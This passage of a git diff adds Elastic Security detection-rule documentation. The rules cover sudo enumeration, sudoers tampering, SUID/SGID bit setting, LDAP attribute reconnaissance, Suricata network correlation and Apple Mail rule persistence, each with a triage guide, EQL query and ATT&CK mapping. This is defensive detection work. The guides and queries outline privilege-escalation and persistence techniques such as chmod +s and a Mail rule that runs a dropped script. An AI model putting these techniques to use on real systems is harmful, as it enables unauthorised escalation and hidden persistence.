its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Sudo Command Enumeration Detected* + + +The sudo command in Linux environments allows users to execute commands with elevated privileges, typically as the root user. Attackers may exploit this by using the `sudo -l` command to list permissible commands, potentially identifying paths to escalate privileges. The detection rule identifies this behavior by monitoring for the execution of `sudo -l` from common shell environments, flagging potential misuse for privilege escalation. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the `sudo -l` command, ensuring the process name is "sudo" and the arguments include "-l" with an argument count of 2. +- Identify the parent process of the `sudo` command to determine the shell environment used, checking if it matches any of the specified shells like "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", or "fish". +- Investigate the user account that executed the `sudo -l` command to assess if the activity aligns with their typical behavior or if it appears suspicious. +- Check for any recent changes in user permissions or sudoers configuration that might indicate unauthorized modifications. +- Correlate this event with other logs or alerts to identify any subsequent suspicious activities that might suggest privilege escalation attempts. + + +*False positive analysis* + + +- System administrators frequently use the sudo -l command to verify their permissions. To reduce noise, consider excluding specific user accounts or groups known for legitimate use. +- Automated scripts or configuration management tools may execute sudo -l as part of routine checks. Identify these scripts and exclude their execution paths or parent processes from the rule. +- Some software installations or updates might invoke sudo -l to check permissions. Monitor and document these processes, then create exceptions for known benign software. +- Developers or testers might use sudo -l during debugging or testing phases. Coordinate with development teams to identify and exclude these activities when they are part of approved workflows. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the attacker. +- Review the sudoers file on the affected system to identify any unauthorized or suspicious entries that may have been added or modified, and revert any changes to their original state. +- Terminate any suspicious processes initiated by the user who executed the `sudo -l` command, especially if they are not part of normal operations. +- Reset the password of the user account involved in the alert to prevent further unauthorized access. +- Conduct a thorough review of system logs to identify any additional suspicious activity or commands executed by the user, and assess the scope of potential compromise. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. +- Implement additional monitoring and alerting for similar `sudo -l` command executions across the environment to enhance detection and response capabilities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2") and process.name == "sudo" and process.args == "-l" and + process.args_count == 2 and process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + not process.args == "dpkg" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Local Groups +** ID: T1069.001 +** Reference URL: https://attack.mitre.org/techniques/T1069/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-sudoers-file-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-sudoers-file-activity.asciidoc new file mode 100644 index 0000000000..ea297e829e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-sudoers-file-activity.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-20-sudoers-file-activity]] +=== Sudoers File Activity + +A sudoers file specifies the commands that users or groups can run and from which terminals. Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Sudoers File Activity* + + +The sudoers file is crucial in Unix-like systems, defining user permissions for executing commands with elevated privileges. Adversaries may exploit this by altering the file to gain unauthorized access or escalate privileges. The detection rule identifies suspicious changes to the sudoers file, excluding legitimate processes, to flag potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file path that triggered the alert, focusing on /etc/sudoers* or /private/etc/sudoers*. +- Examine the process information associated with the change event, particularly the process.name and process.executable fields, to determine if the modification was made by a suspicious or unauthorized process. +- Check the user account associated with the process that made the change to the sudoers file to assess if the account has a legitimate reason to modify the file. +- Investigate recent login activity and user behavior for the account involved in the modification to identify any anomalies or signs of compromise. +- Review system logs around the time of the alert to gather additional context on what other activities occurred on the system, which might indicate a broader attack or compromise. +- Assess the current state of the sudoers file to identify any unauthorized or suspicious entries that could indicate privilege escalation attempts. + + +*False positive analysis* + + +- System updates and package installations can trigger changes to the sudoers file. Exclude processes like dpkg, yum, dnf, and platform-python from triggering alerts as they are commonly involved in legitimate updates. +- Configuration management tools such as Puppet and Chef may modify the sudoers file as part of their normal operations. Exclude process executables like /opt/chef/embedded/bin/ruby and /opt/puppetlabs/puppet/bin/ruby to prevent false positives. +- Docker daemon processes might interact with the sudoers file during container operations. Exclude /usr/bin/dockerd to avoid unnecessary alerts related to Docker activities. +- Regularly review and update the exclusion list to ensure it reflects the current environment and operational tools, minimizing false positives while maintaining security vigilance. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or privilege escalation. +- Review the recent changes to the sudoers file to identify unauthorized modifications and revert them to the last known good configuration. +- Conduct a thorough examination of system logs to identify any unauthorized access or actions performed using elevated privileges, focusing on the time frame of the detected change. +- Reset passwords and review access permissions for all users with sudo privileges to ensure no unauthorized accounts have been added or existing accounts have been compromised. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been affected. +- Implement additional monitoring on the affected system and similar systems to detect any further attempts to modify the sudoers file or other privilege escalation activities. +- Review and update security policies and configurations to prevent similar incidents, ensuring that only authorized processes can modify the sudoers file. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type in ("linux", "macos") and event.type in ("creation", "change") and +file.path like ("/etc/sudoers*", "/private/etc/sudoers*") and not ( + process.name like ("dpkg", "platform-python*", "puppet", "yum", "dnf", "python*") or + process.executable in ( + "/opt/chef/embedded/bin/ruby", "/opt/puppetlabs/puppet/bin/ruby", "/usr/bin/dockerd", + "/usr/bin/podman", "/opt/teleport/system/bin/teleport", "/usr/sbin/dockerd", + "/usr/local/bin/dockerd", "/usr/local/bin/teleport", "./usr/bin/podman", "/dev/fd/5", + "/usr/bin/rpm", "/usr/bin/microdnf", "/opt/morpheus-node/embedded/bin/chef-client", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/bin/salt-minion" + ) or + process.executable like ("./snap/snapd/*/usr/lib/snapd/snap-update-ns", "/opt/teleport/*/bin/teleport") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suid-sgid-bit-set.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suid-sgid-bit-set.asciidoc new file mode 100644 index 0000000000..89d4d0cdf0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suid-sgid-bit-set.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-20-suid-sgid-bit-set]] +=== SUID/SGID Bit Set + +An adversary may add the setuid or setgid bit to a file or directory in order to run a file with the privileges of the owning user or group. An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setuid or setgid bit to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 33 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SUID/SGID Bit Set* + + +The SUID/SGID bits in Unix-like systems allow files to execute with the privileges of the file owner or group, enabling necessary elevated permissions for certain applications. However, adversaries can exploit these bits to escalate privileges by modifying files to run with higher access rights. The detection rule identifies suspicious use of commands like `chmod` or `install` to set these bits, excluding known safe paths, to flag potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the process details to identify the user who executed the command, focusing on the process.name and process.args fields to understand the specific command and arguments used. +- Check the process.parent.executable field to determine the parent process and assess whether it is a known legitimate process or potentially malicious. +- Investigate the file or directory targeted by the SUID/SGID bit modification by examining the process.args field for any unusual or sensitive paths that could indicate privilege escalation attempts. +- Correlate the event with other recent activities from the same user or system to identify any patterns or anomalies that could suggest malicious behavior. +- Verify if the file or directory with modified SUID/SGID bits is part of a known safe path as listed in the exclusion criteria, and assess whether the modification is expected or authorized. + + +*False positive analysis* + + +- System package installations or updates may trigger the rule when legitimate processes like package managers set SUID/SGID bits. To handle this, exclude paths related to package management, such as "/var/lib/dpkg/info*". +- Docker or container-related operations might set these bits during normal operations. Exclude paths like "/var/lib/docker/*" to prevent false positives from container management activities. +- Temporary directories used during system operations, such as "/tmp/newroot/*", can cause false alerts. Exclude these paths to avoid unnecessary alerts from temporary system processes. +- Specific system services or applications, like "/usr/bin/ssh-agent", may require SUID/SGID bits for legitimate functionality. Exclude these known safe executables to reduce false positives. +- Custom scripts or applications that are known to require elevated permissions should be reviewed and, if deemed safe, added to the exclusion list to prevent repeated false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or privilege escalation. +- Identify and terminate any suspicious processes associated with the use of `chmod` or `install` commands that have set the SUID/SGID bits, especially those not in the excluded safe paths. +- Review and revert any unauthorized changes to file permissions, specifically those with SUID/SGID bits set, to their original state. +- Conduct a thorough audit of user accounts and privileges on the affected system to ensure no unauthorized accounts or privilege escalations have occurred. +- Implement additional monitoring on the affected system to detect any further attempts to exploit SUID/SGID bits, focusing on the specific commands and arguments identified in the detection query. +- Escalate the incident to the security operations team for a deeper investigation into potential lateral movement or persistence mechanisms that may have been established by the adversary. +- Apply patches and updates to the affected system and any vulnerable applications to mitigate known vulnerabilities that could be exploited in conjunction with SUID/SGID bit abuse. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.name == "chmod" and (process.args : ("+s", "u+s", "g+s") or process.args regex "[24][0-9]{3}")) or + (process.name == "install" and process.args : "-m" and + (process.args : ("+s", "u+s", "g+s") or process.args regex "[24][0-9]{3}")) +) and not ( + process.parent.executable : ( + "/usr/NX/*", "/var/lib/docker/*", "/var/lib/dpkg/info*", "/tmp/newroot/*", "/usr/bin/find", "/opt/commvault/Base/Galaxy", + "/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/XPCServices/package_script_service.xpc/Contents/MacOS/package_script_service", + "/opt/metallic/Base/Galaxy" + ) or + process.args : ( + "/run/*", "/var/run/*", "/usr/bin/keybase-redirector", "/usr/local/share/fonts", "/usr/bin/ssh-agent" + ) or + process.parent.args like ("/var/lib/dpkg/info/*", "/var/tmp/rpm-tmp*", "/usr/NX/*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suricata-and-elastic-defend-network-correlation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suricata-and-elastic-defend-network-correlation.asciidoc new file mode 100644 index 0000000000..682723e12c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suricata-and-elastic-defend-network-correlation.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-20-suricata-and-elastic-defend-network-correlation]] +=== Suricata and Elastic Defend Network Correlation + +This detection correlates Suricata alerts with Elastic Defend network events to identify the source process performing the network activity. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* filebeat-* +* logs-suricata.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/tactics/TA0011/ +* https://www.elastic.co/docs/reference/integrations/suricata +* https://www.elastic.co/docs/reference/integrations/endpoint + +*Tags*: + +* Domain: Endpoint +* Domain: Network +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Suricata +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suricata and Elastic Defend Network Correlation* + + + +*Possible investigation steps* + + +- Investigate in the Timeline feature the two events matching this correlation (Suricata and Elastic Defend). +- Review the process details like command_line, privileges, global relevance and reputation. +- Assess the destination.ip reputation and global relevance. +- Review the parent process execution details like command_line, global relevance and reputation. +- Examine all network connection details performed by the process during last 48h. +- Correlate the alert with other security events or logs to identify any patterns or additional indicators of compromise related to the same process or network activity. + + +*False positive analysis* + + +- Trusted system or third party processes performing network activity that looks like beaconing. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate the suspicious processes and all associated children and parents. +- Implement network-level controls to block traffic to the destination.ip. +- Conduct a thorough review of the system's configuration files to identify unauthorized changes. +- Reset credentials for any accounts associated with the source machine. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by source.port, source.ip, destination.ip with maxspan=5s + [network where event.dataset == "suricata.eve" and event.kind == "alert" and + event.severity != 3 and source.ip != null and destination.ip != null and + not source.domain : ("*nessusscan*", "SCCMPS*") and + not rule.name in ("ET INFO SMB2 NT Create AndX Request For a Powershell .ps1 File", "ET SCAN MS Terminal Server Traffic on Non-standard Port")] + [network where event.module == "endpoint" and event.action in ("disconnect_received", "connection_attempted") and + not process.executable in ("System", "C:\\Program Files (x86)\\Admin Arsenal\\PDQ Inventory\\PDQInventoryService.exe") and + not process.executable : "C:\\Windows\\AdminArsenal\\PDQInventory-Scanner\\service-*\\exec\\PDQInventoryScanner.exe"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Non-Standard Port +** ID: T1571 +** Reference URL: https://attack.mitre.org/techniques/T1571/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-access-to-ldap-attributes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-access-to-ldap-attributes.asciidoc new file mode 100644 index 0000000000..d605287b1e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-access-to-ldap-attributes.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-20-suspicious-access-to-ldap-attributes]] +=== Suspicious Access to LDAP Attributes + +Identify read access to a high number of Active Directory object attributes. The knowledge of objects properties can help adversaries find vulnerabilities, elevate privileges or collect sensitive information. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Windows Security Event Logs +* Data Source: Active Directory +* Data Source: Windows +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Access to LDAP Attributes* + + +LDAP (Lightweight Directory Access Protocol) is crucial for querying and modifying directory services like Active Directory, which stores user credentials and permissions. Adversaries exploit LDAP to enumerate directory attributes, seeking vulnerabilities or sensitive data. The detection rule identifies unusual read access patterns, such as excessive attribute queries, which may indicate reconnaissance or privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the event logs for the specific event code 4662 to gather details about the suspicious read access, focusing on the winlog.event_data.Properties field to understand which attributes were accessed. +- Identify the user associated with the suspicious activity by examining the winlog.event_data.SubjectUserSid field, and determine if this user has a legitimate reason to access a high number of Active Directory object attributes. +- Check the user's recent activity and login history to identify any unusual patterns or anomalies that could indicate compromised credentials or unauthorized access. +- Investigate the source machine from which the LDAP queries originated to determine if it is a known and trusted device or if it shows signs of compromise or unauthorized use. +- Correlate this event with other security alerts or logs to identify if this activity is part of a larger pattern of reconnaissance or privilege escalation attempts within the network. + + +*False positive analysis* + + +- Regular system maintenance or updates may trigger high attribute read access. Exclude known maintenance accounts from the rule to prevent false alerts. +- Automated scripts or applications that query Active Directory for legitimate purposes can cause excessive attribute reads. Identify and whitelist these scripts or applications to reduce noise. +- Security audits or compliance checks often involve extensive directory queries. Coordinate with IT and security teams to recognize these activities and adjust the rule to exclude them. +- Service accounts with legitimate high-volume access patterns should be reviewed and, if deemed non-threatening, added to an exception list to avoid unnecessary alerts. +- Consider the context of the access, such as time of day or associated user activity, to differentiate between normal and suspicious behavior. Adjust the rule to account for these patterns where applicable. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Conduct a thorough review of the user account associated with the suspicious LDAP access to determine if it has been compromised. Reset the account credentials and enforce multi-factor authentication. +- Analyze the event logs to identify any other systems or accounts that may have been accessed using similar methods, and apply the same containment measures. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the breach. +- Implement additional monitoring on LDAP queries and Active Directory access to detect similar patterns of excessive attribute queries in the future. +- Review and tighten access controls and permissions within Active Directory to ensure that only necessary attributes are accessible to users based on their roles. +- Conduct a post-incident review to identify any gaps in security controls and update policies or procedures to prevent recurrence of similar threats. + +==== Setup + + +The 'Audit Directory Service Changes' logging policy must be configured for (Success, Failure). +Steps to implement the logging policy with Advanced Audit Configuration: + +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +DS Access > +Audit Directory Service Changes (Success,Failure) + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.code == "4662" and not winlog.event_data.SubjectUserSid : "S-1-5-18" and + winlog.event_data.AccessMaskDescription == "Read Property" and length(winlog.event_data.Properties) >= 2000 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Domain Groups +** ID: T1069.002 +** Reference URL: https://attack.mitre.org/techniques/T1069/002/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Domain Account +** ID: T1087.002 +** Reference URL: https://attack.mitre.org/techniques/T1087/002/ +* Technique: +** Name: Domain Trust Discovery +** ID: T1482 +** Reference URL: https://attack.mitre.org/techniques/T1482/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-apple-mail-rule-plist-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-apple-mail-rule-plist-modification.asciidoc new file mode 100644 index 0000000000..06ebecbdd5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-apple-mail-rule-plist-modification.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-20-suspicious-apple-mail-rule-plist-modification]] +=== Suspicious Apple Mail Rule Plist Modification + +Detects suspicious creation or modification of the Apple Mail SyncedRules plist file by a non-Mail application. An adversary could establish persistence by creating or modifying an Apple Mail rule to point to a script file on disk, which will execute when an email matching the trigger is received. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.n00py.io/2016/10/using-email-for-persistence-on-os-x/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Apple Mail Rule Plist Modification* + + +This detects non-Apple Mail processes creating or modifying the SyncedRules.plist that stores Apple Mail rules, a persistence path because rules can trigger actions on incoming mail. Attackers commonly drop a script to disk, then edit the rules file so a crafted email (often from an attacker-controlled sender or with a specific subject) launches that script when it arrives. + + +*Possible investigation steps* + + +- Identify the application that modified the plist and validate its legitimacy by checking code signature, bundle path, quarantine/download origin, and recent installation history. +- Diff the current SyncedRules.plist against a known-good or previous version (including backups/snapshots) to pinpoint what rule entries changed and when. +- Decode and review the plist contents to find any rule actions that execute scripts/binaries or reference external paths, then record the exact target command/path. +- Locate and inspect any referenced script or executable (hash, signature, contents, timestamps, and network indicators) and determine whether it is newly created or staged nearby. +- Correlate the modification time with surrounding system activity (process tree, file writes in user Library paths, network connections, and recent email-related events) to determine whether this is persistence setup versus benign automation. + + +*False positive analysis* + + +- After a macOS reinstall, user migration, or restore from backup, SyncedRules.plist may be recreated or overwritten by a non-Mail restore/migration process when Mail data is copied back into the user’s MailData directory. +- User-initiated or administrative automation that standardizes, repairs, or deploys Mail rules can modify SyncedRules.plist via command-line file operations or plist editing outside of Mail.app, especially during initial user provisioning or troubleshooting. + + +*Response and remediation* + + +- Isolate the affected Mac from the network and temporarily disable Apple Mail rule processing by moving `SyncedRules.plist` out of the MailData directory to prevent any rule-triggered script execution while preserving evidence. +- Collect and preserve the modified `SyncedRules.plist`, its extended attributes/quarantine flags, and the modifying process binary/app bundle, then decode the plist to identify any rule actions that reference on-disk scripts or executables. +- Remove malicious persistence by deleting the offending rule entries (or restoring `SyncedRules.plist` from a known-good backup) and deleting/quarantining any referenced scripts/binaries and their launch points if they were dropped on disk. +- Hunt for and eradicate the originator by reviewing recently installed or unsigned apps and user-level agents/daemons that wrote into `~/Library/Mail/**/MailData/`, and reimage the endpoint if additional persistence or tampering is found. +- Recover by re-enabling Mail with a clean ruleset, forcing credential/session resets for affected mail accounts, and monitoring for recurrence of `SyncedRules.plist` changes or rule-triggered execution when new mail arrives. +- Escalate to incident response immediately if the plist contains rules invoking `sh`, `osascript`, `python`, or a non-Apple executable path, if the modifying process is unsigned/untrusted, or if the referenced script shows network beacons or data access behavior. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.type != "deletion" and + file.name == "SyncedRules.plist" and + file.path like ("/Users/*/Library/Mail/*/MailData/SyncedRules.plist", + "/Users/*/Library/Mobile Documents/com.apple.mail/Data/*/MailData/SyncedRules.plist") and + not process.executable like ("/System/Applications/Mail.app/Contents/MacOS/Mail", + "/Applications/Mail.app/Contents/MacOS/Mail", + "/System/Library/CoreServices/backupd.bundle/Contents/Resources/backupd", + "/usr/libexec/xpcproxy", + "/System/Library/Frameworks/FileProvider.framework/Support/fileproviderd", + "/System/Library/PrivateFrameworks/CloudDocsDaemon.framework/Versions/A/Support/bird", + "/sbin/launchd", + "/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Plist File Modification +** ID: T1647 +** 